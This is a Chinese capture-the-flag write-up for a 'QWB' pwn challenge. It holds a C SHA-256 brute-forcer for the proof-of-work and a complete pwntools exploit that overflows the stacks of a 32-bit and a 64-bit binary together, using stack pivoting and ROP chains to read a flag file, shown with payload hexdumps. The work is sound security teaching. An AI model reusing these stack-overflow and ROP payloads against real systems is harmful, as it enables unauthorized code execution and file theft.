一道考验综合能力的pwn题。
目录
爆破
ex@Ex:~/test$ nc 49.4.51.149 25391
[+]proof: skr=os.urandom(8)
[+]hashlib.sha256(skr).hexdigest()=23a27ff60016f28977fb56c3445f92ddb7511abcd79ab6bf462d82930bf5ba1e
[+]skr[0:5].encode('hex')=4ad80d1c3c
[-]skr.encode('hex')=
首先题目需要我们进行sha256爆破,开始时用Python的多线程总是速度不够快,经常被check,所以我就用C语言重新写了一遍。
// compiled: gcc -O3 -pthread crack.c sha256.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include "sha256.h"
// 设置线程数目
#define THREAD_NUM 2
char global_hash[0x100] = {0};
char global_data[0x10] = {0};
char global_answer[0x100] = {0};
int str_to_hex(char *str)
{
char high = 0, low = 0, i;
if (strlen(str) % 2 != 0)
{
return 0;
}
for (i = 0; str[i]; i += 2)
{
if (str[i] >= '0' && str[i] <= '9')
{
high = str[i] - '0';
}
else if (str[i] >= 'a' && str[i] <= 'f')
{
high = str[i] - 'a' + 10;
}
else
{
return 0;
}
if (str[i + 1] >= '0' && str[i + 1] <= '9')
{
low = str[i + 1] - '0';
}
else if (str[i + 1] >= 'a' && str[i + 1] <= 'f')
{
low = str[i + 1] - 'a' + 10;
}
else
{
return 0;
}
str[i / 2] = ((high & 0x0f) << 4 | (low & 0x0f));
}
str[i / 2] = '\0';
return 1;
}
void crack(void *p)
{
int offset = *(int *)p, i, ii, iii;
char hash[0x100];
char data[0x10];
char answer[0x100];
memcpy(hash, global_hash, 0x100);
memcpy(data, global_data, 0x10);
memcpy(answer, global_answer, 0x100);
for (i = 0; i < 256; i++)
{
data[5] = i;
for (ii = 0; ii < 256; ii++)
{
data[6] = ii;
for (iii = offset; iii < 256; iii += THREAD_NUM)
{
data[7] = iii;
sha256(data, 8, hash);
if (memcmp(hash, answer, 32) == 0)
{
write(1, data, 8);
exit(0);
}
}
}
}
}
int main(int argc, char const *argv[])
{
pthread_t threads[THREAD_NUM];
int offset[THREAD_NUM], i;
memcpy(global_data, argv[1], 5 * 2);
memcpy(global_answer, argv[2], 32 * 2);
// printf("%s\n%s\n", global_data, global_answer);
str_to_hex(global_data);
str_to_hex(global_answer);
// 启动线程
for (i = 0; i < THREAD_NUM; i++)
{
offset[i] = i;
pthread_create(&threads[i], NULL, crack, (void *)&offset[i]);
}
// 等待线程
for (i = 0; i < THREAD_NUM; i++)
{
pthread_join(threads[i], NULL);
}
return 0;
}
sha256
源码来自:https://github.com/ilvn/SHA256 。
编译出来之后,配合下面的脚本就能过检查:
sh = remote('49.4.51.149', 25391)
result = sh.recvuntil("[-]skr.encode('hex')=")
answer = result[0x3f:0x7f]
print(answer)
prefix = result[0x9a:0xa4]
print(prefix)
cmd = './crack ' + prefix + ' ' + answer + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()
print(hexdump(key))
sh.sendline(binascii.b2a_hex(key))
flag加密
[+]teamtoken:[+]proof completed
your flag is encoded by your token!
def stream_encode(flag, token):
s = ""
for i in range(0, len(flag)):
s += chr(ord(flag[i]) ^ ord(token[i % len(flag)]))
return s.encode("hex")
your flag file --> flag_01a02b62514c64314d39ed2e1568a440
Welcome to QWB
We give you a little challenge, try to pwn it?
爆破之后,程序提示了flag是加了密的,再加上我们的token
是32位的,所以就能确定flag文件
应该是64字节
。
flag加密很简单,只需要一个脚本就能跑出来。
#!/usr/bin/python
# -*- coding:utf-8 -*-
import binascii
# 输出 flag
flag_file_content = 'your flag_file_content'
flag_file_content = binascii.a2b_hex(flag_file_content)
token = 'your token'
flag = ''
for i in range(len(token)):
flag += chr(ord(flag_file_content[i]) ^ ord(token[i]))
print (flag)
# 再次验证一下
def stream_encode(flag, token):
s = ""
for i in range(0, len(flag)):
s += chr(ord(flag[i]) ^ ord(token[i % len(flag)]))
return s.encode("hex")
print(stream_encode(flag, token))
正题
题目给了我们两个程序,一个32位程序,一个64位程序,题目的考点就是让我们用一个脚本同时打通两个程序。
这里我说一下它的检查原理,在我们连上靶机之后,靶机会利用脚本同时启动32位程序和64位程序,我们的输入流会被脚本复制成两份,每个程序一份,然后脚本会检测输出流,若是两个程序的输出流不一致,则会被脚本check
,若其中任意一个程序crash
或者退出,则脚本会同时结束两个程序,直接断开链接。
所以我们要做的就是用同一个脚本,打32位程序和64位程序的时候,要保证输入流和输出流完全一致,这就考验我们构造payload的能力。
思路
两个程序都是标准的栈溢出,但是32位程序的溢出偏移是272字节
,64位程序的溢出偏移是280字节
,正是这个差别,使得我们可以构造出同时适用于两个程序的payload。
第一次读取payload
new_stack_x86 = 0x80db000 - 0x400
sh.send(
'a' * 268 + # offset
p32(new_stack_x86) + # 32位程序 的新栈地址
p32(0x8048902) + # vul 函数的一个地址,再次进行读取输入流
p32(0) + # no use
payload_x64 # 64位程序 的payload
)
这里我将32位程序
进行栈转移
,64位程序
正常ROP
,否则一个ROP链
是不能让两个程序同时兼容的,所以我分成了两次进行读取ROP,这是第一次发送64位的ROP链
,之后会发送32位的。
这里0x8048902
的地址主要是为了重新读取payload进行32的ROP。
► 0x8048902 <vul+93> push 0x300
0x8048907 <vul+98> lea eax, [ebp - 0x10c]
0x804890d <vul+104> push eax
0x804890e <vul+105> push 0
0x8048910 <vul+107> call read <0x806c8e0>
0x8048915 <vul+112> add esp, 0x10
第二次读取payload
sh.send(
'\0\n' + # 这里是为了保持两个ROP链有相同的输出流
'b' * 270 + # 偏移
payload_x86 # 第二次payload
)
\0\n
是为了保持两个ROP链有相同的输出流,因为32位的程序跳到0x8048902
之后,有把读取到的内容puts
出来,这里我将第一个字符设置为\0
就是为了让32位的程序在运行puts
时只输出一个换行,而第二字符\n
是给64位程序用的,目的就是为了让两个程序同时输出一个换行字符。
64位的ROP
这个ROP链必须要保证和32位的ROP链的输出结果保持一致。
new_space_x64 = 0x6a4000-0x400
layout_x64 = [
# 读取第二次 payload 输入
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),
# 输出换行
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64 + 1),
p64(pop_rdx_ret_x64),
p64(1),
p64(elf_x64.symbols['write']),
# 读取 flag 文件名
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),
# 打开 flag 文件
p64(pop_rdi_ret_x64),
p64(new_space_x64),
p64(pop_rsi_ret_x64),
p64(0),
p64(pop_rdx_ret_x64),
p64(0),
p64(elf_x64.symbols['open']),
# 读取 flag 文件
p64(pop_rdi_ret_x64),
p64(3),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(100),
p64(elf_x64.symbols['read']),
# 输出 flag 文件
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(flag_length),
p64(elf_x64.symbols['write']),
]
payload_x64 = flat(layout_x64)
new_space_x64 + 1
就是对应\0\n
中的\n
,这样就能保证两个程序同时输出一个换行,保证不会被check
,之后就是从输入流读取flag
文件名,然后打开,再读取,再输出,为了保证输入流、输出流一致,我们只需要把32位程序的ROP
链也按照这个流程设计,那么就不会被check
。
32位的ROP
# 0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
flag_str_x86 = 0x80db000 - 0x100
pop_3_ret_x86 = 0x08055f54
layout_x86 = [
# 读取 flag 文件名
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(0),
p32(flag_str_x86),
p32(100),
# 打开 flag 文件
p32(elf_x86.symbols['open']),
p32(pop_3_ret_x86),
p32(flag_str_x86),
p32(0),
p32(0),
# 读取 flag 文件
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(3),
p32(flag_str_x86),
p32(100),
# 输出 flag 文件
p32(elf_x86.symbols['write']),
p32(pop_3_ret_x86),
p32(1),
p32(flag_str_x86),
p32(flag_length),
]
payload_x86 = flat(layout_x86)
和64位的ROP链保持一致,这样就能保持输入流、输出流一致,不会被check。
读取flag
之后就只需要发送我们的flag文件
名,就能得到flag。
sh.sendline('./flag\x00')
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
context.log_level = 'debug'
sh = remote('49.4.51.149', 25391)
result = sh.recvuntil("[-]skr.encode('hex')=")
answer = result[0x3f:0x7f]
print(answer)
prefix = result[0x9a:0xa4]
print(prefix)
cmd = './crack ' + prefix + ' ' + answer + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()
print(hexdump(key))
sh.sendline(binascii.b2a_hex(key))
# 你的token
sh.sendline('*********************')
# sh = process("./__stkof")
elf_x64 = ELF("./__stkof")
elf_x86 = ELF("./_stkof")
# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass
flag_length = 64
# pause()
print (sh.recvuntil('We give you a little challenge, try to pwn it?\n'))
# 0x00000000004005f6 : pop rdi ; ret
pop_rdi_ret_x64 = 0x00000000004005f6
# 0x0000000000405895 : pop rsi ; ret
pop_rsi_ret_x64 = 0x0000000000405895
# 0x000000000043b9d5 : pop rdx ; ret
pop_rdx_ret_x64 = 0x000000000043b9d5
new_space_x64 = 0x6a4000-0x400
layout_x64 = [
# 读取第二次 payload 输入
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),
# 输出换行
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64 + 1),
p64(pop_rdx_ret_x64),
p64(1),
p64(elf_x64.symbols['write']),
# 读取 flag 文件名
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),
# 打开 flag 文件
p64(pop_rdi_ret_x64),
p64(new_space_x64),
p64(pop_rsi_ret_x64),
p64(0),
p64(pop_rdx_ret_x64),
p64(0),
p64(elf_x64.symbols['open']),
# 读取 flag 文件
p64(pop_rdi_ret_x64),
p64(3),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(100),
p64(elf_x64.symbols['read']),
# 输出 flag 文件
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(flag_length),
p64(elf_x64.symbols['write']),
]
payload_x64 = flat(layout_x64)
new_stack_x86 = 0x80db000 - 0x400
time.sleep(3)
sh.send(
'a' * 268 + # offset
p32(new_stack_x86) + # 32位程序 的新栈地址
p32(0x8048902) + # vul 函数的一个地址,再次进行读取输入流
p32(0) + # no use
payload_x64 # 64位程序 的payload
)
sh.recvuntil('a' * 268 + '\n')
# 0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
flag_str_x86 = 0x80db000 - 0x100
pop_3_ret_x86 = 0x08055f54
layout_x86 = [
# 读取 flag 文件名
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(0),
p32(flag_str_x86),
p32(100),
# 打开 flag 文件
p32(elf_x86.symbols['open']),
p32(pop_3_ret_x86),
p32(flag_str_x86),
p32(0),
p32(0),
# 读取 flag 文件
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(3),
p32(flag_str_x86),
p32(100),
# 输出 flag 文件
p32(elf_x86.symbols['write']),
p32(pop_3_ret_x86),
p32(1),
p32(flag_str_x86),
p32(flag_length),
]
payload_x86 = flat(layout_x86)
sh.send(
'\0\n' + # 这里是为了保持两个ROP链有相同的输出流
'b' * 270 + # 偏移
payload_x86 # 第二次payload
)
time.sleep(3)
# 你的flag 文件
sh.sendline('./flag\x00')
sh.recvuntil('\n')
sh.interactive()
# 删除调试文件
os.system("rm -f pid")
运行实例
32位程序
ex@Ex:~/test$ python -c 'print("E" * 64)' > flag
ex@Ex:~/test$ python2 exp.py
[+] Starting local process './_stkof': pid 21141
[DEBUG] '/home/ex/test/__stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/__stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] '/home/ex/test/_stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/_stkof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0x3e bytes:
'Welcome to QWB\n'
'We give you a little challenge, try to pwn it?\n'
Welcome to QWB
We give you a little challenge, try to pwn it?
[DEBUG] Sent 0x268 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 61 61 61 00 ac 0d 08 │aaaa│aaaa│aaaa│····│
00000110 02 89 04 08 00 00 00 00 f6 05 40 00 00 00 00 00 │····│····│··@·│····│
00000120 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000130 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000140 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
00000150 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000160 95 58 40 00 00 00 00 00 01 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000170 d5 b9 43 00 00 00 00 00 01 00 00 00 00 00 00 00 │··C·│····│····│····│
00000180 90 ba 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000190 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
000001a0 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
000001b0 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
000001c0 f6 05 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │··@·│····│·0j·│····│
000001d0 95 58 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │·X@·│····│····│····│
000001e0 d5 b9 43 00 00 00 00 00 00 00 00 00 00 00 00 00 │··C·│····│····│····│
000001f0 00 b8 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000200 03 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000210 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000220 64 00 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │d···│····│··C·│····│
00000230 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000240 95 58 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000250 d5 b9 43 00 00 00 00 00 40 00 00 00 00 00 00 00 │··C·│····│@···│····│
00000260 90 ba 43 00 00 00 00 00 │··C·│····││
00000268
[DEBUG] Received 0x10d bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Sent 0x160 bytes:
00000000 00 0a 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │··bb│bbbb│bbbb│bbbb│
00000010 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │bbbb│bbbb│bbbb│bbbb│
*
00000110 e0 c8 06 08 54 5f 05 08 00 00 00 00 00 af 0d 08 │····│T_··│····│····│
00000120 64 00 00 00 c0 c7 06 08 54 5f 05 08 00 af 0d 08 │d···│····│T_··│····│
00000130 00 00 00 00 00 00 00 00 e0 c8 06 08 54 5f 05 08 │····│····│····│T_··│
00000140 03 00 00 00 00 af 0d 08 64 00 00 00 b0 c9 06 08 │····│····│d···│····│
00000150 54 5f 05 08 01 00 00 00 00 af 0d 08 40 00 00 00 │T_··│····│····│@···│
00000160
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x8 bytes:
00000000 2e 2f 66 6c 61 67 00 0a │./fl│ag··││
00000008
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
'E' * 0x40
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE[*] Got EOF while reading in interactive
$
64位程序
ex@Ex:~/test$ python -c 'print("E" * 64)' > flag
ex@Ex:~/test$ python2 exp3.py
[+] Starting local process './__stkof': pid 21170
[DEBUG] '/home/ex/test/__stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/__stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] '/home/ex/test/_stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/_stkof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0x3e bytes:
'Welcome to QWB\n'
'We give you a little challenge, try to pwn it?\n'
Welcome to QWB
We give you a little challenge, try to pwn it?
[DEBUG] Sent 0x268 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 61 61 61 00 ac 0d 08 │aaaa│aaaa│aaaa│····│
00000110 02 89 04 08 00 00 00 00 f6 05 40 00 00 00 00 00 │····│····│··@·│····│
00000120 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000130 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000140 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
00000150 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000160 95 58 40 00 00 00 00 00 01 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000170 d5 b9 43 00 00 00 00 00 01 00 00 00 00 00 00 00 │··C·│····│····│····│
00000180 90 ba 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000190 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
000001a0 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
000001b0 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
000001c0 f6 05 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │··@·│····│·0j·│····│
000001d0 95 58 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │·X@·│····│····│····│
000001e0 d5 b9 43 00 00 00 00 00 00 00 00 00 00 00 00 00 │··C·│····│····│····│
000001f0 00 b8 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000200 03 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000210 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000220 64 00 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │d···│····│··C·│····│
00000230 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000240 95 58 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000250 d5 b9 43 00 00 00 00 00 40 00 00 00 00 00 00 00 │··C·│····│@···│····│
00000260 90 ba 43 00 00 00 00 00 │··C·│····││
00000268
[DEBUG] Received 0x10d bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Sent 0x160 bytes:
00000000 00 0a 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │··bb│bbbb│bbbb│bbbb│
00000010 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │bbbb│bbbb│bbbb│bbbb│
*
00000110 e0 c8 06 08 54 5f 05 08 00 00 00 00 00 af 0d 08 │····│T_··│····│····│
00000120 64 00 00 00 c0 c7 06 08 54 5f 05 08 00 af 0d 08 │d···│····│T_··│····│
00000130 00 00 00 00 00 00 00 00 e0 c8 06 08 54 5f 05 08 │····│····│····│T_··│
00000140 03 00 00 00 00 af 0d 08 64 00 00 00 b0 c9 06 08 │····│····│d···│····│
00000150 54 5f 05 08 01 00 00 00 00 af 0d 08 40 00 00 00 │T_··│····│····│@···│
00000160
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x8 bytes:
00000000 2e 2f 66 6c 61 67 00 0a │./fl│ag··││
00000008
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
'E' * 0x40
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE[*] Got EOF while reading in interactive
$
可以看到,两个程序的输入流、输出流完全一致。
总结
主要是考验我们构造ROP的能力。